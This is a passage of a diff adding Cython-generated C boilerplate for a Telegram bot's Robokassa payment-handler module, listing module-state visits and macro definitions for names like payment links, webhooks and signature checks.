Py_VISIT(traverse_module_state->__pyx_n_s_args); + Py_VISIT(traverse_module_state->__pyx_n_s_as_markup); + Py_VISIT(traverse_module_state->__pyx_n_s_asyncio_coroutines); + Py_VISIT(traverse_module_state->__pyx_n_s_await); + Py_VISIT(traverse_module_state->__pyx_n_s_balance); + Py_VISIT(traverse_module_state->__pyx_n_s_builder); + Py_VISIT(traverse_module_state->__pyx_n_s_callback_data); + Py_VISIT(traverse_module_state->__pyx_n_u_callback_data); + Py_VISIT(traverse_module_state->__pyx_kp_u_callback_data_2); + Py_VISIT(traverse_module_state->__pyx_kp_u_callback_data_3); + Py_VISIT(traverse_module_state->__pyx_n_s_callback_query); + Py_VISIT(traverse_module_state->__pyx_n_s_chat); + Py_VISIT(traverse_module_state->__pyx_n_s_check_connection_exists); + Py_VISIT(traverse_module_state->__pyx_n_s_check_payment_signature); + Py_VISIT(traverse_module_state->__pyx_n_s_choosing_amount_robokassa); + Py_VISIT(traverse_module_state->__pyx_kp_u_chose_to_enter_a_custom_amount); + Py_VISIT(traverse_module_state->__pyx_n_s_class_getitem); + Py_VISIT(traverse_module_state->__pyx_n_s_clear); + Py_VISIT(traverse_module_state->__pyx_n_s_cline_in_traceback); + Py_VISIT(traverse_module_state->__pyx_n_s_close); + Py_VISIT(traverse_module_state->__pyx_n_s_config); + Py_VISIT(traverse_module_state->__pyx_n_s_confirm_keyboard); + Py_VISIT(traverse_module_state->__pyx_n_s_data); + Py_VISIT(traverse_module_state->__pyx_n_s_database); + Py_VISIT(traverse_module_state->__pyx_n_s_debug); + Py_VISIT(traverse_module_state->__pyx_n_s_description); + Py_VISIT(traverse_module_state->__pyx_kp_u_description_2); + Py_VISIT(traverse_module_state->__pyx_n_s_dict); + Py_VISIT(traverse_module_state->__pyx_kp_u_disable); + Py_VISIT(traverse_module_state->__pyx_n_s_doc); + Py_VISIT(traverse_module_state->__pyx_n_s_e); + Py_VISIT(traverse_module_state->__pyx_kp_u_enable); + Py_VISIT(traverse_module_state->__pyx_n_u_enter_custom_amount_robokassa); + Py_VISIT(traverse_module_state->__pyx_kp_u_entered_custom_amount); + Py_VISIT(traverse_module_state->__pyx_n_s_error); + Py_VISIT(traverse_module_state->__pyx_n_s_exists); + Py_VISIT(traverse_module_state->__pyx_n_s_expected_signature); + Py_VISIT(traverse_module_state->__pyx_kp_u_gc); + Py_VISIT(traverse_module_state->__pyx_n_s_generate_by_script); + Py_VISIT(traverse_module_state->__pyx_n_s_generate_payment_link); + Py_VISIT(traverse_module_state->__pyx_n_s_get); + Py_VISIT(traverse_module_state->__pyx_n_s_get_key_count); + Py_VISIT(traverse_module_state->__pyx_n_s_handle_custom_amount_input); + Py_VISIT(traverse_module_state->__pyx_n_s_handlers_payments_robokassa_pay); + Py_VISIT(traverse_module_state->__pyx_kp_s_handlers_payments_robokassa_pay_2); + Py_VISIT(traverse_module_state->__pyx_n_s_handlers_payments_utils); + Py_VISIT(traverse_module_state->__pyx_n_s_handlers_texts); + Py_VISIT(traverse_module_state->__pyx_n_s_hashlib); + Py_VISIT(traverse_module_state->__pyx_n_s_hexdigest); + Py_VISIT(traverse_module_state->__pyx_n_s_i); + Py_VISIT(traverse_module_state->__pyx_n_s_id); + Py_VISIT(traverse_module_state->__pyx_n_s_import); + Py_VISIT(traverse_module_state->__pyx_n_s_info); + Py_VISIT(traverse_module_state->__pyx_n_s_init_subclass); + Py_VISIT(traverse_module_state->__pyx_n_s_initializing); + Py_VISIT(traverse_module_state->__pyx_kp_u_initiated_Robokassa_payment); + Py_VISIT(traverse_module_state->__pyx_n_s_inline_keyboard); + Py_VISIT(traverse_module_state->__pyx_n_s_inv_id); + Py_VISIT(traverse_module_state->__pyx_kp_u_inv_id_2); + Py_VISIT(traverse_module_state->__pyx_n_s_is_coroutine); + Py_VISIT(traverse_module_state->__pyx_n_s_is_test); + Py_VISIT(traverse_module_state->__pyx_kp_u_isenabled); + Py_VISIT(traverse_module_state->__pyx_n_s_key_count); + Py_VISIT(traverse_module_state->__pyx_n_s_link); + Py_VISIT(traverse_module_state->__pyx_n_s_logger); + Py_VISIT(traverse_module_state->__pyx_n_s_main); + Py_VISIT(traverse_module_state->__pyx_n_s_md5); + Py_VISIT(traverse_module_state->__pyx_n_s_merchant_login); + Py_VISIT(traverse_module_state->__pyx_n_s_message); + Py_VISIT(traverse_module_state->__pyx_n_s_metaclass); + Py_VISIT(traverse_module_state->__pyx_n_s_module); + Py_VISIT(traverse_module_state->__pyx_n_s_mro_entries); + Py_VISIT(traverse_module_state->__pyx_n_s_name); + Py_VISIT(traverse_module_state->__pyx_n_s_out_sum); + Py_VISIT(traverse_module_state->__pyx_n_s_params); + Py_VISIT(traverse_module_state->__pyx_n_s_password1); + Py_VISIT(traverse_module_state->__pyx_n_s_password2); + Py_VISIT(traverse_module_state->__pyx_n_u_pay); + Py_VISIT(traverse_module_state->__pyx_n_u_pay_robokassa); + Py_VISIT(traverse_module_state->__pyx_n_s_payment); + Py_VISIT(traverse_module_state->__pyx_n_s_payment_link); + Py_VISIT(traverse_module_state->__pyx_n_s_payment_url); + Py_VISIT(traverse_module_state->__pyx_n_s_post); + Py_VISIT(traverse_module_state->__pyx_n_s_prepare); + Py_VISIT(traverse_module_state->__pyx_n_s_process_amount_selection); + Py_VISIT(traverse_module_state->__pyx_n_s_process_callback_pay_robokassa); + Py_VISIT(traverse_module_state->__pyx_n_s_process_custom_amount_selection); + Py_VISIT(traverse_module_state->__pyx_n_s_qualname); + Py_VISIT(traverse_module_state->__pyx_n_s_range); + Py_VISIT(traverse_module_state->__pyx_n_s_reply_markup); + Py_VISIT(traverse_module_state->__pyx_n_s_request); + Py_VISIT(traverse_module_state->__pyx_n_s_robokassa); + Py_VISIT(traverse_module_state->__pyx_n_u_robokassa); + Py_VISIT(traverse_module_state->__pyx_kp_u_robokassa_amount); + Py_VISIT(traverse_module_state->__pyx_n_s_robokassa_webhook); + Py_VISIT(traverse_module_state->__pyx_n_s_router); + Py_VISIT(traverse_module_state->__pyx_n_s_row); + Py_VISIT(traverse_module_state->__pyx_kp_u_selected_amount); + Py_VISIT(traverse_module_state->__pyx_n_s_send); + Py_VISIT(traverse_module_state->__pyx_n_s_send_payment_success_notificatio); + Py_VISIT(traverse_module_state->__pyx_n_s_session); + Py_VISIT(traverse_module_state->__pyx_n_s_set_name); + Py_VISIT(traverse_module_state->__pyx_n_s_set_state); + Py_VISIT(traverse_module_state->__pyx_n_s_shp_id); + Py_VISIT(traverse_module_state->__pyx_n_u_shp_id); + Py_VISIT(traverse_module_state->__pyx_kp_u_shp_id_2); + Py_VISIT(traverse_module_state->__pyx_kp_u_shp_id_3); + Py_VISIT(traverse_module_state->__pyx_n_s_signature_string); + Py_VISIT(traverse_module_state->__pyx_n_s_signature_value); + Py_VISIT(traverse_module_state->__pyx_n_s_spec); + Py_VISIT(traverse_module_state->__pyx_n_s_split); + Py_VISIT(traverse_module_state->__pyx_n_s_startswith); + Py_VISIT(traverse_module_state->__pyx_n_s_state); + Py_VISIT(traverse_module_state->__pyx_n_s_status); + Py_VISIT(traverse_module_state->__pyx_n_s_super); + Py_VISIT(traverse_module_state->__pyx_n_s_test); + Py_VISIT(traverse_module_state->__pyx_n_s_text); + Py_VISIT(traverse_module_state->__pyx_n_u_text); + Py_VISIT(traverse_module_state->__pyx_n_s_tg_id); + Py_VISIT(traverse_module_state->__pyx_n_s_throw); + Py_VISIT(traverse_module_state->__pyx_n_s_trial); + Py_VISIT(traverse_module_state->__pyx_n_s_types); + Py_VISIT(traverse_module_state->__pyx_kp_s_types_CallbackQuery); + Py_VISIT(traverse_module_state->__pyx_kp_s_types_Message); + Py_VISIT(traverse_module_state->__pyx_n_s_typing); + Py_VISIT(traverse_module_state->__pyx_n_s_update_balance); + Py_VISIT(traverse_module_state->__pyx_n_s_update_data); + Py_VISIT(traverse_module_state->__pyx_n_s_upper); + Py_VISIT(traverse_module_state->__pyx_n_s_url); + Py_VISIT(traverse_module_state->__pyx_n_s_waiting_for_payment_confirmation); + Py_VISIT(traverse_module_state->__pyx_n_s_web); + Py_VISIT(traverse_module_state->__pyx_kp_u_with_amount); + Py_VISIT(traverse_module_state->__pyx_kp_u_with_balance_0_0); + Py_VISIT(traverse_module_state->__pyx_float_0_0); + Py_VISIT(traverse_module_state->__pyx_int_0); + Py_VISIT(traverse_module_state->__pyx_int_1); + Py_VISIT(traverse_module_state->__pyx_int_2); + Py_VISIT(traverse_module_state->__pyx_int_400); + Py_VISIT(traverse_module_state->__pyx_int_500); + Py_VISIT(traverse_module_state->__pyx_tuple__11); + Py_VISIT(traverse_module_state->__pyx_tuple__27); + Py_VISIT(traverse_module_state->__pyx_tuple__32); + Py_VISIT(traverse_module_state->__pyx_tuple__34); + Py_VISIT(traverse_module_state->__pyx_tuple__35); + Py_VISIT(traverse_module_state->__pyx_tuple__36); + Py_VISIT(traverse_module_state->__pyx_tuple__37); + Py_VISIT(traverse_module_state->__pyx_tuple__38); + Py_VISIT(traverse_module_state->__pyx_tuple__40); + Py_VISIT(traverse_module_state->__pyx_tuple__41); + Py_VISIT(traverse_module_state->__pyx_codeobj__2); + Py_VISIT(traverse_module_state->__pyx_codeobj__7); + Py_VISIT(traverse_module_state->__pyx_codeobj__20); + Py_VISIT(traverse_module_state->__pyx_codeobj__24); + Py_VISIT(traverse_module_state->__pyx_codeobj__28); + Py_VISIT(traverse_module_state->__pyx_codeobj__33); + Py_VISIT(traverse_module_state->__pyx_codeobj__39); + return 0; +} +#endif +/* #### Code section: module_state_defines ### */ +#define __pyx_d __pyx_mstate_global->__pyx_d +#define __pyx_b __pyx_mstate_global->__pyx_b +#define __pyx_cython_runtime __pyx_mstate_global->__pyx_cython_runtime +#define __pyx_empty_tuple __pyx_mstate_global->__pyx_empty_tuple +#define __pyx_empty_bytes __pyx_mstate_global->__pyx_empty_bytes +#define __pyx_empty_unicode __pyx_mstate_global->__pyx_empty_unicode +#ifdef __Pyx_CyFunction_USED +#define __pyx_CyFunctionType __pyx_mstate_global->__pyx_CyFunctionType +#endif +#ifdef __Pyx_FusedFunction_USED +#define __pyx_FusedFunctionType __pyx_mstate_global->__pyx_FusedFunctionType +#endif +#ifdef __Pyx_Generator_USED +#define __pyx_GeneratorType __pyx_mstate_global->__pyx_GeneratorType +#endif +#ifdef __Pyx_IterableCoroutine_USED +#define __pyx_IterableCoroutineType __pyx_mstate_global->__pyx_IterableCoroutineType +#endif +#ifdef __Pyx_Coroutine_USED +#define __pyx_CoroutineAwaitType __pyx_mstate_global->__pyx_CoroutineAwaitType +#endif +#ifdef __Pyx_Coroutine_USED +#define __pyx_CoroutineType __pyx_mstate_global->__pyx_CoroutineType +#endif +#if CYTHON_USE_MODULE_STATE +#define __pyx_type_8handlers_8payments_13robokassa_pay___pyx_scope_struct__process_callback_pay_robokassa __pyx_mstate_global->__pyx_type_8handlers_8payments_13robokassa_pay___pyx_scope_struct__process_callback_pay_robokassa +#define __pyx_type_8handlers_8payments_13robokassa_pay___pyx_scope_struct_1_process_amount_selection __pyx_mstate_global->__pyx_type_8handlers_8payments_13robokassa_pay___pyx_scope_struct_1_process_amount_selection +#define __pyx_type_8handlers_8payments_13robokassa_pay___pyx_scope_struct_2_robokassa_webhook __pyx_mstate_global->__pyx_type_8handlers_8payments_13robokassa_pay___pyx_scope_struct_2_robokassa_webhook +#define __pyx_type_8handlers_8payments_13robokassa_pay___pyx_scope_struct_3_process_custom_amount_selection __pyx_mstate_global->__pyx_type_8handlers_8payments_13robokassa_pay___pyx_scope_struct_3_process_custom_amount_selection +#define __pyx_type_8handlers_8payments_13robokassa_pay___pyx_scope_struct_4_handle_custom_amount_input __pyx_mstate_global->__pyx_type_8handlers_8payments_13robokassa_pay___pyx_scope_struct_4_handle_custom_amount_input +#endif +#define __pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct__process_callback_pay_robokassa __pyx_mstate_global->__pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct__process_callback_pay_robokassa +#define __pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct_1_process_amount_selection __pyx_mstate_global->__pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct_1_process_amount_selection +#define __pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct_2_robokassa_webhook __pyx_mstate_global->__pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct_2_robokassa_webhook +#define __pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct_3_process_custom_amount_selection __pyx_mstate_global->__pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct_3_process_custom_amount_selection +#define __pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct_4_handle_custom_amount_input __pyx_mstate_global->__pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct_4_handle_custom_amount_input +#define __pyx_kp_u_ __pyx_mstate_global->__pyx_kp_u_ +#define __pyx_n_s_Any __pyx_mstate_global->__pyx_n_s_Any +#define __pyx_kp_u_Created_new_connection_for_user __pyx_mstate_global->__pyx_kp_u_Created_new_connection_for_user +#define __pyx_kp_u_Displayed_amount_selection_for_u __pyx_mstate_global->__pyx_kp_u_Displayed_amount_selection_for_u +#define __pyx_kp_u_Error_processing_webhook __pyx_mstate_global->__pyx_kp_u_Error_processing_webhook +#define __pyx_kp_u_Expected_signature __pyx_mstate_global->__pyx_kp_u_Expected_signature +#define __pyx_n_s_F __pyx_mstate_global->__pyx_n_s_F +#define __pyx_n_s_FSMContext __pyx_mstate_global->__pyx_n_s_FSMContext +#define __pyx_kp_u_Generated_payment_link __pyx_mstate_global->__pyx_kp_u_Generated_payment_link +#define __pyx_kp_u_Generated_payment_link_for_user __pyx_mstate_global->__pyx_kp_u_Generated_payment_link_for_user +#define __pyx_kp_u_Generating_payment_link_for_amou __pyx_mstate_global->__pyx_kp_u_Generating_payment_link_for_amou +#define __pyx_n_s_HashAlgorithm __pyx_mstate_global->__pyx_n_s_HashAlgorithm +#define __pyx_n_s_InlineKeyboardBuilder __pyx_mstate_global->__pyx_n_s_InlineKeyboardBuilder +#define __pyx_n_s_InlineKeyboardButton __pyx_mstate_global->__pyx_n_s_InlineKeyboardButton +#define __pyx_n_s_InlineKeyboardMarkup __pyx_mstate_global->__pyx_n_s_InlineKeyboardMarkup +#define __pyx_n_u_InvId __pyx_mstate_global->__pyx_n_u_InvId +#define __pyx_kp_u_InvId_2 __pyx_mstate_global->__pyx_kp_u_InvId_2 +#define __pyx_n_u_OK __pyx_mstate_global->__pyx_n_u_OK +#define __pyx_n_u_OutSum __pyx_mstate_global->__pyx_n_u_OutSum +#define __pyx_kp_u_OutSum_2 __pyx_mstate_global->__pyx_kp_u_OutSum_2 +#define __pyx_n_s_PAYMENT_OPTIONS __pyx_mstate_global->__pyx_n_s_PAYMENT_OPTIONS +#define __pyx_kp_u_Payment_URL_for_user __pyx_mstate_global->__pyx_kp_u_Payment_URL_for_user +#define __pyx_kp_u_Payment_link_sent_to_user __pyx_mstate_global->__pyx_kp_u_Payment_link_sent_to_user +#define __pyx_kp_u_Payment_successful_Balance_updat __pyx_mstate_global->__pyx_kp_u_Payment_successful_Balance_updat +#define __pyx_kp_u_Processing_payment_for_user __pyx_mstate_global->__pyx_kp_u_Processing_payment_for_user +#define __pyx_n_s_ROBOKASSA_ENABLE __pyx_mstate_global->__pyx_n_s_ROBOKASSA_ENABLE +#define __pyx_n_s_ROBOKASSA_LOGIN __pyx_mstate_global->__pyx_n_s_ROBOKASSA_LOGIN +#define __pyx_n_s_ROBOKASSA_PASSWORD1 __pyx_mstate_global->__pyx_n_s_ROBOKASSA_PASSWORD1 +#define __pyx_n_s_ROBOKASSA_PASSWORD2 __pyx_mstate_global->__pyx_n_s_ROBOKASSA_PASSWORD2 +#define __pyx_n_s_ROBOKASSA_TEST_MODE __pyx_mstate_global->__pyx_n_s_ROBOKASSA_TEST_MODE +#define __pyx_kp_u_Received_signature __pyx_mstate_global->__pyx_kp_u_Received_signature +#define __pyx_kp_u_Received_webhook_params __pyx_mstate_global->__pyx_kp_u_Received_webhook_params +#define __pyx_n_s_ReplenishBalanceState __pyx_mstate_global->__pyx_n_s_ReplenishBalanceState +#define __pyx_n_s_Response __pyx_mstate_global->__pyx_n_s_Response +#define __pyx_n_s_Robokassa __pyx_mstate_global->__pyx_n_s_Robokassa +#define __pyx_kp_u_Robokassa_initialized_with_login __pyx_mstate_global->__pyx_kp_u_Robokassa_initialized_with_login +#define __pyx_n_s_Router __pyx_mstate_global->__pyx_n_s_Router +#define __pyx_n_u_SignatureValue __pyx_mstate_global->__pyx_n_u_SignatureValue +#define __pyx_kp_u_SignatureValue_2 __pyx_mstate_global->__pyx_kp_u_SignatureValue_2 +#define __pyx_kp_u_Signature_string_before_hashing __pyx_mstate_global->__pyx_kp_u_Signature_string_before_hashing +#define __pyx_n_s_State __pyx_mstate_global->__pyx_n_s_State +#define __pyx_n_s_StatesGroup __pyx_mstate_global->__pyx_n_s_StatesGroup +#define __pyx_kp_u_User __pyx_mstate_global->__pyx_kp_u_User +#define __pyx_n_s_ValueError __pyx_mstate_global->__pyx_n_s_ValueError +#define __pyx_kp_u__10 __pyx_mstate_global->__pyx_kp_u__10 +#define __pyx_kp_u__12 __pyx_mstate_global->__pyx_kp_u__12 +#define __pyx_kp_u__13 __pyx_mstate_global->__pyx_kp_u__13 +#define __pyx_kp_u__14 __pyx_mstate_global->__pyx_kp_u__14 +#define __pyx_kp_u__15 __pyx_mstate_global->__pyx_kp_u__15 +#define __pyx_kp_u__16 __pyx_mstate_global->__pyx_kp_u__16 +#define __pyx_n_u__17 __pyx_mstate_global->__pyx_n_u__17 +#define __pyx_kp_u__18 __pyx_mstate_global->__pyx_kp_u__18 +#define __pyx_kp_u__19 __pyx_mstate_global->__pyx_kp_u__19 +#define __pyx_kp_u__21 __pyx_mstate_global->__pyx_kp_u__21 +#define __pyx_kp_u__22 __pyx_mstate_global->__pyx_kp_u__22 +#define __pyx_kp_u__23 __pyx_mstate_global->__pyx_kp_u__23 +#define __pyx_kp_u__25 __pyx_mstate_global->__pyx_kp_u__25 +#define __pyx_kp_u__26 __pyx_mstate_global->__pyx_kp_u__26 +#define __pyx_kp_u__29 __pyx_mstate_global->__pyx_kp_u__29 +#define __pyx_kp_u__3 __pyx_mstate_global->__pyx_kp_u__3 +#define __pyx_kp_u__30 __pyx_mstate_global->__pyx_kp_u__30 +#define __pyx_n_s__31 __pyx_mstate_global->__pyx_n_s__31 +#define __pyx_kp_u__4 __pyx_mstate_global->__pyx_kp_u__4 +#define __pyx_n_s__42 __pyx_mstate_global->__pyx_n_s__42 +#define __pyx_kp_u__5 __pyx_mstate_global->__pyx_kp_u__5 +#define __pyx_kp_u__6 __pyx_mstate_global->__pyx_kp_u__6 +#define __pyx_kp_u__8 __pyx_mstate_global->__pyx_kp_u__8 +#define __pyx_kp_u__9 __pyx_mstate_global->__pyx_kp_u__9 +#define __pyx_n_s_add_connection __pyx_mstate_global->__pyx_n_s_add_connection +#define __pyx_n_s_add_payment __pyx_mstate_global->__pyx_n_s_add_payment +#define __pyx_n_s_aiogram __pyx_mstate_global->__pyx_n_s_aiogram +#define __pyx_n_s_aiogram_fsm_context __pyx_mstate_global->__pyx_n_s_aiogram_fsm_context +#define __pyx_n_s_aiogram_fsm_state __pyx_mstate_global->__pyx_n_s_aiogram_fsm_state +#define __pyx_n_s_aiogram_types __pyx_mstate_global->__pyx_n_s_aiogram_types +#define __pyx_n_s_aiogram_utils_keyboard __pyx_mstate_global->__pyx_n_s_aiogram_utils_keyboard +#define __pyx_n_s_aiohttp __pyx_mstate_global->__pyx_n_s_aiohttp +#define __pyx_n_s_algorithm __pyx_mstate_global->__pyx_n_s_algorithm +#define __pyx_n_s_amount __pyx_mstate_global->__pyx_n_s_amount +#define __pyx_n_u_amount __pyx_mstate_global->__pyx_n_u_amount +#define __pyx_n_s_amount_str __pyx_mstate_global->__pyx_n_s_amount_str +#define __pyx_n_s_answer __pyx_mstate_global->__pyx_n_s_answer +#define __pyx_n_s_args __pyx_mstate_global->__pyx_n_s_args +#define __pyx_n_s_as_markup __pyx_mstate_global->__pyx_n_s_as_markup +#define __pyx_n_s_asyncio_coroutines __pyx_mstate_global->__pyx_n_s_asyncio_coroutines +#define __pyx_n_s_await __pyx_mstate_global->__pyx_n_s_await +#define __pyx_n_s_balance __pyx_mstate_global->__pyx_n_s_balance +#define __pyx_n_s_builder __pyx_mstate_global->__pyx_n_s_builder +#define __pyx_n_s_callback_data __pyx_mstate_global->__pyx_n_s_callback_data +#define __pyx_n_u_callback_data __pyx_mstate_global->__pyx_n_u_callback_data +#define __pyx_kp_u_callback_data_2 __pyx_mstate_global->__pyx_kp_u_callback_data_2 +#define __pyx_kp_u_callback_data_3 __pyx_mstate_global->__pyx_kp_u_callback_data_3 +#define __pyx_n_s_callback_query __pyx_mstate_global->__pyx_n_s_callback_query +#define __pyx_n_s_chat __pyx_mstate_global->__pyx_n_s_chat +#define __pyx_n_s_check_connection_exists __pyx_mstate_global->__pyx_n_s_check_connection_exists +#define __pyx_n_s_check_payment_signature __pyx_mstate_global->__pyx_n_s_check_payment_signature +#define __pyx_n_s_choosing_amount_robokassa __pyx_mstate_global->__pyx_n_s_choosing_amount_robokassa +#define __pyx_kp_u_chose_to_enter_a_custom_amount __pyx_mstate_global->__pyx_kp_u_chose_to_enter_a_custom_amount +#define __pyx_n_s_class_getitem __pyx_mstate_global->__pyx_n_s_class_getitem +#define __pyx_n_s_clear __pyx_mstate_global->__pyx_n_s_clear +#define __pyx_n_s_cline_in_traceback __pyx_mstate_global->__pyx_n_s_cline_in_traceback +#define __pyx_n_s_close __pyx_mstate_global->__pyx_n_s_close +#define __pyx_n_s_config __pyx_mstate_global->__pyx_n_s_config +#define __pyx_n_s_confirm_keyboard __pyx_mstate_global->__pyx_n_s_confirm_keyboard +#define __pyx_n_s_data __pyx_mstate_global->__pyx_n_s_data +#define __pyx_n_s_database __pyx_mstate_global->__pyx_n_s_database +#define __pyx_n_s_debug __pyx_mstate_global->__pyx_n_s_debug +#define __pyx_n_s_description __pyx_mstate_global->__pyx_n_s_description +#define __pyx_kp_u_description_2 __pyx_mstate_global->__pyx_kp_u_description_2 +#define __pyx_n_s_dict __pyx_mstate_global->__pyx_n_s_dict +#define __pyx_kp_u_disable __pyx_mstate_global->__pyx_kp_u_disable +#define __pyx_n_s_doc __pyx_mstate_global->__pyx_n_s_doc +#define __pyx_n_s_e __pyx_mstate_global->__pyx_n_s_e +#define __pyx_kp_u_enable __pyx_mstate_global->__pyx_kp_u_enable +#define __pyx_n_u_enter_custom_amount_robokassa __pyx_mstate_global->__pyx_n_u_enter_custom_amount_robokassa +#define __pyx_kp_u_entered_custom_amount __pyx_mstate_global->__pyx_kp_u_entered_custom_amount +#define __pyx_n_s_error __pyx_mstate_global->__pyx_n_s_error +#define __pyx_n_s_exists __pyx_mstate_global->__pyx_n_s_exists +#define __pyx_n_s_expected_signature __pyx_mstate_global->__pyx_n_s_expected_signature +#define __pyx_kp_u_gc __pyx_mstate_global->__pyx_kp_u_gc +#define __pyx_n_s_generate_by_script __pyx_mstate_global->__pyx_n_s_generate_by_script +#define __pyx_n_s_generate_payment_link __pyx_mstate_global->__pyx_n_s_generate_payment_link +#define __pyx_n_s_get __pyx_mstate_global->__pyx_n_s_get +#define __pyx_n_s_get_key_count __pyx_mstate_global->__pyx_n_s_get_key_count +#define __pyx_n_s_handle_custom_amount_input __pyx_mstate_global->__pyx_n_s_handle_custom_amount_input +#define __pyx_n_s_handlers_payments_robokassa_pay __pyx_mstate_global->__pyx_n_s_handlers_payments_robokassa_pay +#define __pyx_kp_s_handlers_payments_robokassa_pay_2 __pyx_mstate_global->__pyx_kp_s_handlers_payments_robokassa_pay_2 +#define __pyx_n_s_handlers_payments_utils __pyx_mstate_global->__pyx_n_s_handlers_payments_utils +#define __pyx_n_s_handlers_texts __pyx_mstate_global->__pyx_n_s_handlers_texts +#define __pyx_n_s_hashlib __pyx_mstate_global->__pyx_n_s_hashlib +#define __pyx_n_s_hexdigest __pyx_mstate_global->__pyx_n_s_hexdigest +#define __pyx_n_s_i __pyx_mstate_global->__pyx_n_s_i +#define __pyx_n_s_id __pyx_mstate_global->__pyx_n_s_id +#define __pyx_n_s_import __pyx_mstate_global->__pyx_n_s_import +#define __pyx_n_s_info __pyx_mstate_global->__pyx_n_s_info +#define __pyx_n_s_init_subclass __pyx_mstate_global->__pyx_n_s_init_subclass +#define __pyx_n_s_initializing __pyx_mstate_global->__pyx_n_s_initializing +#define __pyx_kp_u_initiated_Robokassa_payment __pyx_mstate_global->__pyx_kp_u_initiated_Robokassa_payment +#define __pyx_n_s_inline_keyboard __pyx_mstate_global->__pyx_n_s_inline_keyboard +#define __pyx_n_s_inv_id __pyx_mstate_global->__pyx_n_s_inv_id +#define __pyx_kp_u_inv_id_2 __pyx_mstate_global->__pyx_kp_u_inv_id_2 +#define __pyx_n_s_is_coroutine __pyx_mstate_global->__pyx_n_s_is_coroutine +#define __pyx_n_s_is_test __pyx_mstate_global->__pyx_n_s_is_test +#define __pyx_kp_u_isenabled __pyx_mstate_global->__pyx_kp_u_isenabled +#define __pyx_n_s_key_count __pyx_mstate_global->__pyx_n_s_key_count +#define __pyx_n_s_link __pyx_mstate_global->__pyx_n_s_link +#define __pyx_n_s_logger __pyx_mstate_global->__pyx_n_s_logger +#define __pyx_n_s_main __pyx_mstate_global->__pyx_n_s_main +#define __pyx_n_s_md5 __pyx_mstate_global->__pyx_n_s_md5 +#define __pyx_n_s_merchant_login __pyx_mstate_global->__pyx_n_s_merchant_login +#define __pyx_n_s_message __pyx_mstate_global->__pyx_n_s_message +#define __pyx_n_s_metaclass __pyx_mstate_global->__pyx_n_s_metaclass +#define __pyx_n_s_module __pyx_mstate_global->__pyx_n_s_module +#define __pyx_n_s_mro_entries __pyx_mstate_global->__pyx_n_s_mro_entries +#define __pyx_n_s_name __pyx_mstate_global->__pyx_n_s_name +#define __pyx_n_s_out_sum __pyx_mstate_global->__pyx_n_s_out_sum +#define __pyx_n_s_params __pyx_mstate_global->__pyx_n_s_params +#define __pyx_n_s_password1 __pyx_mstate_global->__pyx_n_s_password1 +#define __pyx_n_s_password2 __pyx_mstate_global->__pyx_n_s_password2 +#define __pyx_n_u_pay __pyx_mstate_global->__pyx_n_u_pay +#define __pyx_n_u_pay_robokassa __pyx_mstate_global->__pyx_n_u_pay_robokassa +#define __pyx_n_s_payment __pyx_mstate_global->__pyx_n_s_payment +#define __pyx_n_s_payment_link __pyx_mstate_global->__pyx_n_s_payment_link +#define __pyx_n_s_payment_url __pyx_mstate_global->__pyx_n_s_payment_url +#define __pyx_n_s_post __pyx_mstate_global->__pyx_n_s_post +#define __pyx_n_s_prepare __pyx_mstate_global->__pyx_n_s_prepare +#define __pyx_n_s_process_amount_selection __pyx_mstate_global->__pyx_n_s_process_amount_selection +#define __pyx_n_s_process_callback_pay_robokassa __pyx_mstate_global->__pyx_n_s_process_callback_pay_robokassa +#define __pyx_n_s_process_custom_amount_selection __pyx_mstate_global->__pyx_n_s_process_custom_amount_selection +#define __pyx_n_s_qualname __pyx_mstate_global->__pyx_n_s_qualname +#define __pyx_n_s_range __pyx_mstate_global->__pyx_n_s_range +#define __pyx_n_s_reply_markup __pyx_mstate_global->__pyx_n_s_reply_markup +#define __pyx_n_s_request __pyx_mstate_global->__pyx_n_s_request +#define __pyx_n_s_robokassa __pyx_mstate_global->__pyx_n_s_robokassa +#define __pyx_n_u_robokassa __pyx_mstate_global->__pyx_n_u_robokassa +#define __pyx_kp_u_robokassa_amount __pyx_mstate_global->__pyx_kp_u_robokassa_amount +#define __pyx_n_s_robokassa_webhook __pyx_mstate_global->__pyx_n_s_robokassa_webhook +#define __pyx_n_s_router __pyx_mstate_global->__pyx_n_s_router +#define __pyx_n_s_row __pyx_mstate_global->__pyx_n_s_row +#define __pyx_kp_u_selected_amount __pyx_mstate_global->__pyx_kp_u_selected_amount +#define __pyx_n_s_send __pyx_mstate_global->__pyx_n_s_send +#define __pyx_n_s_send_payment_success_notificatio __pyx_mstate_global->__pyx_n_s_send_payment_success_notificatio +#define __pyx_n_s_session __pyx_mstate_global->__pyx_n_s_session +#define __pyx_n_s_set_name __pyx_mstate_global->__pyx_n_s_set_name +#define __pyx_n_s_set_state __pyx_mstate_global->__pyx_n_s_set_state +#define __pyx_n_s_shp_id __pyx_mstate_global->__pyx_n_s_shp_id +#define __pyx_n_u_shp_id __pyx_mstate_global->__pyx_n_u_shp_id +#define __pyx_kp_u_shp_id_2 __pyx_mstate_global->__pyx_kp_u_shp_id_2 +#define __pyx_kp_u_shp_id_3 __pyx_mstate_global->__pyx_kp_u_shp_id_3 +#define __pyx_n_s_signature_string __pyx_mstate_global->__pyx_n_s_signature_string +#define __pyx_n_s_signature_value __pyx_mstate_global->__pyx_n_s_signature_value +#define __pyx_n_s_spec __pyx_mstate_global->__pyx_n_s_spec +#define __pyx_n_s_split __pyx_mstate_global->__pyx_n_s_split +#define __pyx_n_s_startswith __pyx_mstate_global->__pyx_n_s_startswith +#define __pyx_n_s_state __pyx_mstate_global->__pyx_n_s_state +#define __pyx_n_s_status __pyx_mstate_global->__pyx_n_s_status +#define __pyx_n_s_super __pyx_mstate_global->__pyx_n_s_super +#define __pyx_n_s_test __pyx_mstate_global->__pyx_n_s_test +#define __pyx_n_s_text __pyx_mstate_global->__pyx_n_s_text +#define __pyx_n_u_text __pyx_mstate_global->__pyx_n_u_text +#define __pyx_n_s_tg_id __pyx_mstate_global->__pyx_n_s_tg_id +#define __pyx_n_s_throw 